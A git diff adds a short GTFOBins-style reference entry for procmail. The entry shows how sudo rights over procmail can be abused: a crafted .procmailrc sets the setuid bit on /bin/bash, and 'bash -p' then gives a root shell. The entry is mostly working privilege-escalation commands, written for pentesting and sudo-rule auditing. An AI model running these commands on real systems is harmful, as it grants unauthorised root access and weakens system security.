diff --git a/_gtfobins/procmail.md b/_gtfobins/procmail.md new file mode 100644 index 0000000..91f5fb1 --- /dev/null +++ b/_gtfobins/procmail.md @@ -0,0 +1,11 @@ +--- +description: | + Procmail is an email server software component. +functions: + sudo: + - description: By modifying/creating a procmailrc configuration file, we can specify a processing rule for any command we want. + code: | + echo -e ':0\n| chmod u+s /bin/bash' > .procmailrc + echo "gtfobins" | sudo procmail -m .procmailrc + bash -p +---